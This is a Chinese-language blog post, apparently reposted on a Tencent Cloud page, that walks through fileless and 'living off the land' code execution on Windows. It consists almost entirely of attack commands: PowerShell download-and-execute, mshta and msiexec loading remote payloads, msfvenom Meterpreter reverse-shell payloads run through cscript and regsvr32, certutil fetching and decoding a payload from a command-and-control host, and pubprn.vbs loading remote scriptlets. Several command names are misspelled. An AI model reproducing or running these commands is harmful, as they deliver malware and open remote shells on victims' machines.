大家好,又见面了,我是你们的朋友全栈君。
利用Windows自带的解析器:PowerShell、VBScript、批处理文件和JavaScript,对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本,直接调用解析器运行(可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆) 用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等,常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等,脚本类型的有:winrm.vbs、wmiexec.vbs、pubprn.vbs等
powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"
msf
use exploit/windows/misc/hta_server
set lhost x.x.x.x
set lport 4444
run
windows执行
mshta http://192.168.164.128:8080/lWdH9aFeeIe.hta
上述两个工具都可以解析运行vbs和js的脚本。但值得注意的是WScript是将输出结果以对话框的形式显示,而CScript是以命令行的形式显示输出结果。使用也很简单:cscript %TEMP%\log.vbs 或者 wscript C:\test.js
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f vbs -o 123.vbs
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
cscript 123.vbs
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f dll -o 123.dll
regsvr32 /u /s 123.dll
参考 https://github.com/GreatSCT/GreatSCT
certuil.exe -urlcache -split -f [URL] outfile.file
certutil.exe -verifyctl -f -split http://www.baidu.com #无法绕过defender
编码
base64 payload.exe > /var/www/html/update.txt
解码执行
certutril -urlcache -split -f http://cc_server/update.txt & certurl -decode update.txt update.exe & update.exe
cscript C:\windows\system32\winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -file:123.xml
123.xml
<?xml version="1.0" encoding="UTF-8"?>
<p:Create_INPUT xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process">
<p:CommandLine>calc.exe</p:CommandLine>
<p:CurrentDirectory>C:\</p:CurrentDirectory>
</p:Create_INPUT>
无文件
Winrm invoke Create wmicimv2/Win32_Process @{
CommandLine="calc.exe";CurrentDirectory="C:\"}
C:\Windows\System32\msiexec.exe /q /i http://192.168.164.128:8080/123.msi
复现出错
# 暂无
C:\Windows\System32\Printing_Admin_Scripts 下语言目录下 可以用来解析sct
pubprn.vbs 127.0.0.1 script:http://x.x.x.x/payload1.sct
https://github.com/GreatSCT/GreatSCT Windows-noFile
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/159696.html原文链接:https://javaforall.cn
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有